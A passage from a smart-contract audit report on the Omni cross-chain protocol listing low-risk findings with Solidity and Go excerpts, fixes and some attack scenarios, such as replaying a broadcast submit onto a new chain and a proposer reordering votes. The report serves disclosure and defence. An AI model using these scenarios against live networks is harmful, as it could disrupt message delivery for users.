        emit CurrentGas(gasleft(), "Gas Before Normal Call");
        (bool _success, bytes memory _returnData) = _target.call{gas: _gas, value: _value}(_calldata);
        emit CurrentGas(gasleft(), "End Gas");
        return gasleft();
    }
}
```

ExternalCallLibrary.sol

```
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;
import "./ExternalContract.sol";

library ExternalCallLibrary {

    event CurrentGas(uint256, string);

    function makeExternalCall(address _target, uint256 _gas, uint256 _value) public returns (bool, bytes
↪   memory){
        bytes memory _calldata = abi.encodeCall(ExternalContract.doSomething,(123));
        uint16 _maxCopy = 256;
                // set up for assembly call
        uint256 _toCopy;
        bool _success;
        bytes memory _returnData = new bytes(_maxCopy);
        // dispatch message to recipient
        // by assembly calling "handle" function
        // we call via assembly to avoid memcopying a very large returndata
        // returned by a malicious contract
        emit CurrentGas(gasleft(), "Gas Before Library Call");
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
            // limit our copy to 256 bytes
            _toCopy := returndatasize()
            if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            // Store the length of the copied bytes
            mstore(_returnData, _toCopy)
            // copy the bytes from returndata[0:_toCopy]
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }
}
```

Then go to the deploy tab and do the following steps:

- Deploy the two contracts CallerContract and ExternalContract.
- Set the gas limit to Custom and then set it to 100000(for easier calculations)
- Under the deployed contracts page, first copy the address of the ExternalContract

Now call the makeExternalCall() and makeExternalCallViaLibrary() functions on the deployed contract with the following parameters:

- _target: the address of the deployed ExternalContract you copied
- _gas: 50000
- _value: 0

Now, check the transactions data in the remix terminal. You will see something like the following:

```
        "args": {
            "0": "77132",
            "1": "Gas Before Normal Call"
        }
```

You can compare the reported before and after gas values between the normal call and the library call and adjust the returned data from the external contract to see how that affects the difference in gas costs.

3.6.93 `registry::keeper::helper.Verify` doesn't consistent with `PortalRegistry._register`

Severity: Low Risk

Context: PortalRegistry.sol#L107, helper.go#L10

- Description In registry::keeper::helper.Verify, while the function verifies if the `Portal` is valid, the function only checks `p.GetChainId`, `len(p.GetAddress())` , len(p.GetShardIds()) and if `p.GetShardIds()` contains duplicated elements.

However, in PortalRegistry._register, while a new portal is added, the function checks more than `registry::keeper::helper.Verify`.

And in PortalRegistry._register, the function doesn't check the duplicated `shards` as registry::keeper::helper.Verify does

- Recommendation

`registry::keeper::helper.Verify` should consistent with `PortalRegistry._register`

3.6.94 XReceipts will always report more gas than actual

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description OmniPortal::_call will report more gas than actual, because the function calculates gas not based on just the external call, but also includes the gas used in the library ExcessivelySafeCall:

```
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```

As we can see gasLeftBefore - gasLeftAfter includes the gas cost of executing the library code itself.

This is reported in the XReceipt emitted event:

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪   VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;

        bytes memory errorMsg = success ? bytes("") : result;

        emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
    }
```

This will occur on every transaction, so likelyhood is high. Impact is low, because according to the documentation this is only used for convenience of chain explorers. The result will be incorrect data provided to them.

> XReceipts are included in XBlocks (same as XMsgs). This is mostly as a convenience for cross chain explorers and end users. It isn't used by the protocol itself.

- Recommendation Calculate gas used in the ExcessivelySafeCall library, just before and right after the low level call, and return the difference as a return value from that.

3.6.95 New validator accounts can be created for stakers even if they already previously exist

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In the `evmStaking::deliverCreateValidator()` function, a call is made to `p.sKeeper.GetValidator(..)` to ascertain if the validator has an already existing validator key and if it does the function reverts because it is assumed no error is return from the `p.sKeeper.GetValidator(..)` call if the validator key already exists.

```
File: evmstaking.go
149: func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator)
↪  error {
150:     pubkey, err := k1util.PubKeyBytesToCosmos(ev.Pubkey)
151:     if err != nil {
152:         return errors.Wrap(err, "pubkey to cosmos")
153:     }
154:
155:     accAddr := sdk.AccAddress(ev.Validator.Bytes())
156:     valAddr := sdk.ValAddress(ev.Validator.Bytes())
157:
158:     amountCoin, amountCoins := omniToBondCoin(ev.Deposit)
159:
160: @> if _, err := p.sKeeper.GetValidator(ctx, valAddr); err == nil {
161:         return errors.New("validator already exists")
162:     }
////SNIP      ......




File: validator.go
23: func (k Keeper) GetValidator(ctx context.Context, addr sdk.ValAddress) (validator types.Validator, err
↪  error) {
24:     store := k.storeService.OpenKVStore(ctx)
25:     value, err := store.Get(types.GetValidatorKey(addr))
26:     if err != nil {
27:         return validator, err
28:     }
29:
30:     if value == nil {
31:         return validator, types.ErrNoValidatorFound
32:     }
33:
34: @> return types.UnmarshalValidator(k.cdc, value)
35: }
```

The problem is that, the assumption that `error==nil` if the valiodator key exist is wrong because as seen on L34 above, the validator key can exist and yet the `p.sKeeper.GetValidator(ctx, valAddr)` will return an error Thus, when `types.UnmarshalValidator()` returns an error on L34 above, L160 does not return an error but proceeds to create an account for the validator again

- Impact Validator accounts can be created for already existing validators leading to a scenario where validator accounts are over written.
- Recommendation Consider handling the case where an error is returned from `types.UnmarshalValidator()` above

3.6.96 The broadcast request can be replayed on the new chain

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In OmniPortal, when `destChainId == BroadcastChainId`, as long as the offset is correct, the request will be broadcast to all chains.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol#L242

```
        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

This is normal for already existing chains because the offsets are already calculated.

However, for a new blockchain, this can be problematic because the transaction corresponding to the target offset of the new blockchain may not yet have been generated. An attacker can repeat the broadcast request to the new blockchain, occupy that offset, prevent the execution of the legitimate request at that offset, and consequently block all subsequent transactions, and this request should not have been on the new chain.

For example:

1. There are two submits on Chain A: the first contains messages with srcChain as Base and dstChain as A; the second contains one message with srcChain as cChain and dstChain as BroadcastChainId.
2. So the msg offset in the second submit is `inXMsgOffset[cChain][Finalize] + 1 = 1`.
3. B is a new chain, A and B should have the same set of validators. It doesn't matter if setId differs, because the signature verification of submit does not include setId.
4. Then the attacker can replay the second submit from A on B, occupying the offset of `inXMsgOffset[cChain][Finalize] == 1` on B, causing subsequent requests from cChain on B to be unable to execute due to the occupied offset.
5. And this transaction should not have been on chain B in the first place.

As long as there is a submit containing only msgs with `destChainId == BroadcastChainId`, an attacker can exploit this submit to launch an attack.

- Recommendation Consider adding an expiration time to the submit.

3.6.97 If a validator has voted previously and rejoins, it will not be able to regenerate its vote

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

In `voter.go`, to prevent double signing, the validator will track the latest attest offset it has voted for and store it in `v.latest` which will be stored in disk.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/voter/voter.go#L113

```
        latest:    latestFromJSON(s.Latest),
```

Hence, once a validator has voted for an attest offset it cannot vote for it again.

If a validators vote has been committed and added to the application DB, but the validator has been removed, during `Approve()`, its signatures and hence vote can be deleted from the application DB:

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/keeper.go#L1102

```
// isApproved returns whether the given signatures are approved by the given validators.
// It also returns the signatures to delete (not in the validator set).
func isApproved(sigs []*Signature, valset ValSet) ([]*Signature, bool, error) {
    var sum int64
    var toDelete []*Signature
    for _, sig := range sigs {
        addr, err := sig.ValidatorEthAddress()
        if err != nil {
            return nil, false, err
        }

        power, ok := valset.Vals[addr]
        if !ok {
            toDelete = append(toDelete, sig)
            continue
        }

        sum += power
    }

    isApproved := sum > valset.TotalPower()*2/3

    return toDelete, isApproved, nil
}
```

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/keeper.go#L332

```
        for _, sig := range toDelete {
            addr, err := sig.ValidatorEthAddress()
            if err != nil {
                return err
            }

            discardedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Inc()

            if err = k.sigTable.Delete(ctx, sig); err != nil {
                return errors.Wrap(err, "delete sig")
            }
        }
```


Once this happens, this vote will not be regenerated. If there are massive changes to the validator set (>1/3 rejoins the validator set), then attestations can become stalled.

- Recommendation

If the validators signature has been deleted, it should inform the `voter.go` that it should regenerate its vote from that point.

3.6.98 ListAllAttestations does not return finalized overrides

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

If a fuzzy block is overriden by a finalized block then when it is queried by any gRPC query, the fuzzy attestation should point to its finalized attestation instead, as is done in other methods:

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/keeper.go#L379-L426

```
func (k *Keeper) ListAttestationsFrom(ctx context.Context, chainID uint64, confLevel uint32, offset uint64,
↪  max uint64) ([]*types.Attestation, error) {
    ...

        // If this attestation is overridden by a finalized attestation, use that instead.
        if att.GetFinalizedAttId() != 0 {
            att, err = k.attTable.Get(ctx, att.GetFinalizedAttId())
            if err != nil {
                return nil, errors.Wrap(err, "get finalized attestation")
            }
        }

        sigs, err := k.getSigTuples(ctx, att.GetId())
        if err != nil {
            return nil, errors.Wrap(err, "get att sigs")
        }

        resp = append(resp, toProto(att, sigs, consensusID))
    }

    return resp, nil
}
```

However this is not done in `listAllAttestations`

```
// listAllAttestations returns all attestations for the given chain and status and attestOffset up to a
↪  maximum of 100.
func (k *Keeper) listAllAttestations(ctx context.Context, version xchain.ChainVersion, status Status,
↪  attestOffset uint64) ([]*types.Attestation, error) {
    defer latency("list_all_attestations")()
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "get consensus chain id")
    }

    const limit = 100

    start := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevelAttestOffset(ui
↪  nt32(status), version.ID, uint32(version.ConfLevel),
↪  attestOffset)
    end := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevel(uint32(status),
↪  version.ID, uint32(version.ConfLevel))
    iter, err := k.attTable.ListRange(ctx, start, end)
    if err != nil {
        return nil, errors.Wrap(err, "list")
    }
    defer iter.Close()

    var resp []*types.Attestation
    for iter.Next() {
        att, err := iter.Value()
        if err != nil {
            return nil, errors.Wrap(err, "value")
        }

        sigs, err := k.getSigTuples(ctx, att.GetId())
        if err != nil {
            return nil, errors.Wrap(err, "get att sigs")
        }

        resp = append(resp, toProto(att, sigs, consensusID))

        if len(resp) >= limit {
            break
        }
    }

    return resp, nil
}
```

- Recommendation

If attestation has a finalized override use that instead.

3.6.99 Malicious proposer can slow down attestations approvals by proposing aggregate votes in inversed order

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Finding Description

The block proposer can sort the aggregate votes in any order they prefer as the aggregate votes are sorted during `PrepareProposal` but the order is never enforced during `ProcessProposal`.

In the following I will assume there are only attestations for a specific tuple (`sourceChainId`, `conf`) in the system, but the concept is the same even with multiple tuples.

The order in which the aggregate votes are submitted has an impact because:

1. During block finalization the `attest` module manages the received aggregate votes via AddVotes. It calls Add which loops over the aggregate votes in the order they are received.
2. On each aggregate vote addOne is executed, which adds the aggregate vote to the `attTable` (if it doesn't exists already). Adding an aggregate vote for a block `N+1` before the aggregate vote of a block `N` will result in the attestation ID of the aggregate vote for block `N+1` being lower than the attestation ID of the aggregate vote for block `N`.
3. When the `attest` module EndBlock is executed it calls Approve which attempts to approve the attestations for which 2/3 of the signatures by voting power are already collected. In order to do this an iterator over the pending attestations is retrieved. This iterator contains the pending attestations ordered by their attestation ID.
4. The Approve only approves attestations sequentially based on the attestation offset.
5. This means that if the aggregate votes are inserted in the `attTable` with the wrong order (as explained in 2) halo will only be able to approve the attestation for block `N` but won't approve the one for block `N+1`, as it will be skipped and approved during the next block. This doesn't happen when the attestations ID are in the same order as the attestation offsets.

- Impact Explanation

Malicious proposer can slow down attestations approvals by proposing the aggregate votes in the wrong order. This can slow down cross-chain messages delivery.

- Recommendation

Either ensure the aggregate votes are ordered by attestation offset during `ProcessProposal` or change Approve to account for the possibility that aggregate votes might not be ordered.

3.6.100 Portal users cannot verify message's shardID

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

Currently, OmniPortal allows users to verify current XMsg's sender and sourceChainId. However this doesn't provide enough validation: there are more than one shards on a sourceChainId, so basically different XStream can have the same `xmsg()` during execution, which may produce difficulties when integrated apps trying to verify the exact XStream.

```
    /**
     * @notice Returns the current XMsg being executed via this portal.
     *           - xmsg().sourceChainId  Chain ID of the source xcall
     *           - xmsg().sender         msg.sender of the source xcall
     *         If no XMsg is being executed, all fields will be zero.
     *           - xmsg().sourceChainId  == 0
     *           - xmsg().sender         == address(0)
     */
    function xmsg() external view returns (XTypes.MsgContext memory) {
        return _xmsg;
    }
```

- Recommendation

Add `shardID` to `_xmsg`.

3.6.101 Missing Public Key Format Validation in Validator Creation

Severity: Low Risk

Context: Staking.sol#L89

- Summary The `createValidator` function in the Staking contract only validates the length of the provided public key (33 bytes) but fails to verify if the provided bytes represent a valid compressed secp256k1 public key format.

This could lead to the acceptance of invalid public keys that appear to have the correct length.

- Finding Description In the Staking contract's `createValidator` function, there is insufficient validation of the public key format:

```
function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

The function only checks that the public key is 33 bytes in length but does not verify if the first byte is 0x02 or 0x03 (required prefix for compressed secp256k1 public keys)

- Impact Explanation The lack of proper validation could lead to:

Creation of validators with invalid public keys that cannot participate in consensus

Potential disruption of the consensus mechanism if invalid validators are registered

- Likelihood Explanation The likelihood is rated as High because:

The attack requires no special privileges beyond meeting the minimum deposit requirement

Creating an invalid public key that meets the length requirement is trivial

There are multiple ways to generate invalid keys that would pass the current validation

The issue could be triggered accidentally by users providing incorrectly formatted keys

- Proof of Concept (if required)

```
// Invalid key with correct length but invalid format
bytes memory invalidKey = new bytes(33);
invalidKey[0] = 0x04; // Invalid prefix for compressed key
// Fill rest with random bytes
for(uint i = 1; i < 33; i++) {
    invalidKey[i] = bytes1(uint8(i));
}
// This will pass validation despite being invalid
staking.createValidator{value: 100 ether}(invalidKey);
```

- Recommendation (optional) Add validation for the compressed public key format:

```
function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");

 +    // Validate public key format
 +   require(
 +        pubkey[0] == 0x02 || pubkey[0] == 0x03,
 +       "Staking: invalid public key prefix"
 +    );

        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

3.6.102 Block proposer will panic if execution engine is still SYNCING

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

If a validator is selected to be a block proposer but its execution engine is still SYNCING to the head of the chain, the result is that it will panic.

This is because it checks that the `fcr.PayloadStatus.Status != engine.VALID` in `PrepareProposal` and returns an error if it does.

https://github.com/omni-network/omni/blob/main/octane/evmengine/keeper/abci.go#L64

```
    if uint64(req.Height) != height { //nolint:nestif // Not an issue
        // Create a new payload (retrying on network errors).
        err := retryForever(ctx, func(ctx context.Context) (bool, error) {
            fcr, err := k.startBuild(ctx, appHash, req.Time)
            if err != nil {
                log.Warn(ctx, "Preparing proposal failed: build new evm payload (will retry)", err)
                return false, nil // Retry
            } else if fcr.PayloadStatus.Status != engine.VALID {
                return false, errors.New("status not valid") // Abort, don't retry
            } else if fcr.PayloadID == nil {
                return false, errors.New("missing payload ID [BUG]") // Abort, don't retry
            }

            payloadID = *fcr.PayloadID

            return true, nil // Done
        })
```

But `startBuild` will call `engine_ForkchoiceUpdatedV3` on the execution layer Engine API, and it has the following 3 possible responses.

https://github.com/ethereum/execution-apis/blob/main/src/engine/paris.md#response-1 (Note: The possible responses is the same for all `engine_ForkchoiceUpdatedV*` requests.)

```
payloadStatus: PayloadStatusV1; values of the status field in the context of this method are restricted to the
↪  following subset:
"VALID"
"INVALID"
"SYNCING"
```

Hence, it will error and as we can see in `PrepareProposal`, it will cause the node to panic

https://github.com/omni-network/omni/blob/main/octane/evmengine/keeper/abci.go#L28

```
// PrepareProposal returns a proposal for the next block.
// Note returning an error results in a panic cometbft and CONSENSUS_FAILURE log.
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
)
```

- Recommendation

The fix is non-trivial. Ideally, a validator should not be the block proposer if it its execution engine is still SYNCING.

3.6.103 Duplicate shard entries can be added when registering new OmniPortal deployment

Severity: Low Risk

Context: PortalRegistry.sol#L102-L131

- Summary

In the Omni network, shards are subdivisions that allow parallel processing of transactions to improve scalability & efficiency. However, there is no explicit check to ensure that shards listed for a single deployment are **unique** in the current code. Duplicate shards can lead to various issues, such as performance degradation, state inconsistencies, and increased gas costs.

- Finding Description

The `PortalRegistry` does not enforce shard uniqueness during the registration of new OmniPortal deployments. This means that duplicate shards could potentially be allowed, leading to confusion & inefficiencies. Shards are intended to be unique subdivisions of the network, and allowing duplicate entries for the same shard ID could cause conflicting behavior in shard management, data integrity, and message routing.

```
// only allow ConfLevel shards
for (uint64 i = 0; i < dep.shards.length; i++) {
    uint64 shard = dep.shards[i];
    require(shard == uint8(shard) && ConfLevel.isValid(uint8(shard)), "PortalRegistry: invalid shard");
    // no check for duplicate shards - @audit
}
```

- Impact Explanation

Allowing duplicate shards could have several negative consequences:

- OmniPortal deployments use shard IDs to manage distinct transaction categories, like user balances or token transfers. With duplicate shard entries, updates intended for one shard may apply inconsistently across duplicates, risking data corruption and confusion over correct shard states.
- If `dep.shards` has duplicates, validators may redundantly verify the same shard multiple times, raising gas costs and wasting resources. This inefficiency worsens in bulk operations, amplifying unnecessary load during shard processing.
- In cross-chain systems, duplicate shards can disrupt routing, causing messages meant for one shard to be mistakenly processed by its duplicate. This may lead to duplicate messages or errors, as the same message gets handled multiple times.
- Likelihood Explanation

The register function is admin controlled so it makes the likelihood **low**, however the current shard management system doesn't account for duplicates, so admin can un-intentionally add dups entries very easily.

- Proof of Concept

The following lines in the `PortalRegistry` contract suggest that there is no check for shard uniqueness when registering new OmniPortal deployments:

```
require(dep.shards.length > 0, "PortalRegistry: no shards");
for (uint64 i = 0; i < dep.shards.length; i++) {
    uint64 shard = dep.shards[i];
    require(shard == uint8(shard) && ConfLevel.isValid(uint8(shard)), "PortalRegistry: invalid shard");
}
```

There is no additional requirement ensuring that the same shard is not listed twice. This could result in issues during transaction processing across the network.

- Recommendation

After discussing with the sponsor in comments we should implement a check to ensure that shards are unique when a new OmniPortal deployment is registered. This can be done by introducing a validation step that checks for duplicates in the list of shard IDs before allowing the deployment to be registered.

3.6.104 Inability to Retrieve Stuck Ether in OmniGasStation Contract

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `OmniGasStation` contract, designed to facilitate Omni token transactions, includes a `receive()` payable function. This function allows the contract to accept Ether (ETH), even though the contract has no mechanism for handling or withdrawing it. Consequently, if Ether is accidentally sent to the contract, it becomes irretrievable, leading to potentially locked and inaccessible funds. The settleUp function, intended to handle Omni token transfers, cannot transfer or handle any Ether balance, resulting in stuck funds.

There should be a mechanism to retrieve any Ether accidentally sent to the contract. Options could include:

- A `withdrawETH` function restricted to the contract owner, enabling recovery of the Ether balance.
- A modified `settleUp` function that checks and transfers any Ether balance along with the Omni tokens.
- Impact While the locked Ether does not compromise the security of the contract or its core functionality, it can lead to a loss of funds due to human error, particularly in scenarios where users mistakenly send Ether to the contract.
- Recommendation Remove the `receive()` function: If Ether deposits are entirely unintended, removing `receive()` will prevent any Ether from being sent to the contract, thus avoiding this problem.'

3.6.105 Zero-Amount Swap in fillUp Function Causes Revert in settleUp

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In the `fillUp` function of the OmniGasPump contract, a user can execute a zero-amount swap by setting msg.value equal to the required fee f. In this scenario, `amtETH` becomes zero after subtracting the fee, resulting in a zero swap. This zero swap still initiates a call to settleUp on OmniGasStation, where it reverts due to the require(owed > settled, "GasStation: already funded"); check, which fails when owed is zero. This results in an unnecessary revert and potentially disrupts the user experience wastage of gas.
- Vulnerability Details

```
function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
        require(recipient != address(0), "OmniGasPump: no zero addr");

        // take xcall fee
        uint256 f = xfee();
        require(msg.value >= f, "OmniGasPump: insufficient fee");
        uint256 amtETH = msg.value - f;

        // check max
        require(amtETH <= maxSwap, "OmniGasPump: over max");

        // take toll
        uint256 t = amtETH * toll / TOLL_DENOM;
        amtETH -= t;

        uint256 amtOMNI = _toOmni(amtETH);

        // update owed
        owed[recipient] += amtOMNI;

        // settle up with the gas station
        xcall({
            destChainId: omniChainId(),
            to: gasStation,
            conf: ConfLevel.Latest,
            data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
            gasLimit: SETTLE_GAS
        });

        emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

        return amtOMNI;
    }
```

If the `fillUp` function in the `OmniGasPump` contract is called with `msg.value` set to exactly the calculated fee (f), the remaining `amtETH` (after subtracting the fee) becomes zero. This causes `amtOMNI` (the Omni token equivalent) to also be zero. Despite this, the function still initiates a call to `settleUp` on OmniGasStation with `owed[recipient]` set to zero. In the `settleUp` function, this triggers a revert due to the check `require(owed > settled, "GasStation: already funded");` which fails when owed is zero, as there are no tokens to settle. This results in a failed transaction and wasted gas for the user.

The `fillUp` function should prevent the swap if `amtETH` (or `amtOMNI`) is zero. This would avoid unnecessary calls to `settleUp` with a zero balance and prevent the settleUp revert.

- Impact While this does not compromise funds, it allows for inefficient calls that consume gas and produce reverts, impacting the user experience and potentially leading to confusion.
- Recommendation Before proceeding with the settleUp call, add a condition to ensure that `amtETH` and `amtOMNI` are greater than zero.

3.6.106 Min delegation for validatiors is not correctly enforced in halo

Severity: Low Risk

Context: evmstaking.go#L178-L184

- Description The minimum delegation amount in the staking contract is 1 omni on the omni evm, it is however not correctly enforced in the cosmos level and it is set to the minimum 1 wei of omni.
- Recommendation Enforce min delegation on the cosmos sdk side

```
--      math.NewInt(1)) // Stub out minimum self delegation for now, just use 1.
++      math.NewInt(10**18)) // Stub out minimum self delegation for now, just use 1.
```

3.6.107 The upgrade Module is configured as an endBlocker in halo

Severity: Low Risk

Context: app_config.go#L80

- Description Eventhough the upgradeModule from cosmos doesn't implement any `endBlocker` it is still included as an endBlocker in the list of configured endblockers for halo. Adding the module will result in a small delay in the execution because of the Noop will happen when each validator will try to execute the EndBlocker of the UpgradeModule.
- Recommendation

To fix this simply remove the cosmos native upgrade module of the list of configured Endblockers in `app_config`

3.6.108 Missing setter for `VirtualPortalAddress`

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The `VirtualPortalAddress` is used as a key control mechanism for syscalls in the OmniPortal contract but is never initialized or set. This means it defaults to `address(0)`, making all syscall validations compare against the zero address.

```
function xcall(...) external payable {
    require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
    ...
}

function _exec(...) internal {
    ...
    (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress
        ? _syscall(xmsg_.data)
        : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
    ...
}
```


- Recommendation The initialize function should include setting the `VirtualPortalAddress`:

```
function initialize(InitParams calldata p) public initializer {
    ...
+   _setVirtualPortalAddress(p.virtualPortalAddress);
    ...
}
```

3.6.109 Proposer selection algorithm for optimistic execution is not correct

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

During optimistic execution, each node will run `PostFinalized`. The function uses the following to determine if the validator is the next proposer.

https://github.com/omni-network/omni/blob/d2a0f7fc143a69bb17bd696ec1598392ad103c95/octane/evmengine/keeper/keeper.go#L171

```
func (k *Keeper) isNextProposer(ctx context.Context, currentProposer []byte, currentHeight int64) (bool,
↪  error) {
    // cometAPI is lazily set and may be nil on startup (e.g. rollbacks).
    if k.cmtAPI == nil {
        return false, nil
    }

    valset, ok, err := k.cmtAPI.Validators(ctx, currentHeight)
    if err != nil {
        return false, err
    } else if !ok || len(valset.Validators) == 0 {
        return false, errors.New("validators not available")
    }

    idx, _ := valset.GetByAddress(currentProposer)
    if idx < 0 {
        return false, errors.New("proposer not in validator set")
    }

    nextIdx := int(idx+1) % len(valset.Validators)
    nextProposer := valset.Validators[nextIdx]
    nextAddr, err := k1util.PubKeyToAddress(nextProposer.PubKey)
    if err != nil {
        return false, err
    }

    isNextProposer := nextAddr == k.addrProvider.LocalAddress()

    return isNextProposer, nil
}
```

As we can see, this is the round-robin algorithm where each validator takes equal turns to become the proposer. However, this isn't the algorithm CometBFT uses. Instead CometBFT uses a weighted round-robin where the validators takes turns weighted by power. The proposer selection can be found here https://docs.cometbft.com/v0.37/spec/consensus/proposer-selection:

> At its core, the proposer selection procedure uses a weighted round-robin algorithm.

Since the proposer selection is wrong, optimistic execution will not work when validators have different powers.

- Recommendation

Use the proper proposer selection algorithm. It can possibly be done using `compareProposerPriority` https://github.com/cometbft/cometbft/blob/732e2dfc23e30b6275c3f97bd7735751c6806eb9/types/validator.go#L74

3.6.110 Improper Domain Separator Hash

Severity: Low Risk

Context: Preinstalls.sol#L114, Preinstalls.sol#L115

- Description

In the build of the `DOMAIN TYPEHASH` the `string version` and `bytes32 salt` is forgotten.

According the EIP 712, in the Definition of domainSeparator:

> where the type of eip712Domain is a struct named EIP712Domain with one or more of the below fields. Protocol designers only need to include the fields that make sense for their signing domain. Unused fields are left out of the struct type.
>
> - ```
>   string name the user readable name of signing domain, i.e. the name of the DApp or the protocol.
>   ```
> - ```
>   string version the current major version of the signing domain. Signatures from different
>   ↪  versions are not compatible.
>   ```
> - ```
>   uint256 chainId the EIP-155 chain id. The user-agent should refuse signing if it does not match
>   ↪  the currently active chain.
>   ```

- ```
  address verifyingContract the address of the contract that will verify the signature. The
  ↪  user-agent may do contract specific phishing prevention.
  ```

- ```
  bytes32 salt an disambiguating salt for the protocol. This can be used as a domain separator of
  ↪  last resort.
  ```

However, in the current implementation:

```
bytes32 typeHash =
            keccak256(abi.encodePacked("EIP712Domain(string name,uint256 chainId,address verifyingContract)"));
        bytes32 domainSeparator = keccak256(abi.encode(typeHash, nameHash, _chainID, Permit2));
```

- Impact

Signature Verification Failure: Because the type hash used in the domain separator does not match the required format, any off-chain signatures generated expect the domain to be compliant with `EIP712Domain` will not match the calculated on-chain domain separator. As a result, all such signature verifications will fail.

- Recommendation

Add `string version` & `bytes32 salt` , to the `EIP712Domain` string.

3.6.111 Non-determinism in ProcessProposal due to syncing

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

The problem is that the node's execution client could be in different states depending on whether the execution client is syncing or not, and this introduces a problem of non-deterministic behaviour amongst honest nodes in `ProcessProposal`

In `ProcessProposal`,

- if the validator is fully synced it can correctly determine what the expected payload status is
- if the validator is still syncing while the proposal comes in then it will always determine that the expected payload status is correct.


```
// ExecutionPayload handles a new execution payload proposed in a block.
func (s proposalServer) ExecutionPayload(ctx context.Context, msg *types.MsgExecutionPayload,
) (*types.ExecutionPayloadResponse, error) {
    payload, err := s.parseAndVerifyProposedPayload(ctx, msg)
    if err != nil {
        return nil, err
    }

    // Push the payload to the EVM.
    err = retryForever(ctx, func(ctx context.Context) (bool, error) {
        status, err := pushPayload(ctx, s.engineCl, payload)
        if err != nil || isUnknown(status) {
            // We need to retry forever on networking errors, but can't easily identify them, so retry all
↪   errors.
            log.Warn(ctx, "Verifying proposal failed: push new payload to evm (will retry)", err,
                "status", status.Status)

            return false, nil // Retry
        } else if invalid, err := isInvalid(status); invalid {
            return false, errors.Wrap(err, "invalid payload, rejecting proposal") // Abort, don't retry
        } else if isSyncing(status) {
            // If this is initial sync, we need to continue and set a target head to sync to, so don't retry.
            log.Warn(ctx, "Can't properly verifying proposal: evm syncing", err,
                "payload_height", payload.Number)
        }

        return true, nil // Done
    })
    if err != nil {
        return nil, err
```

```
    }

    // Collect local view of the evm logs from the previous payload.
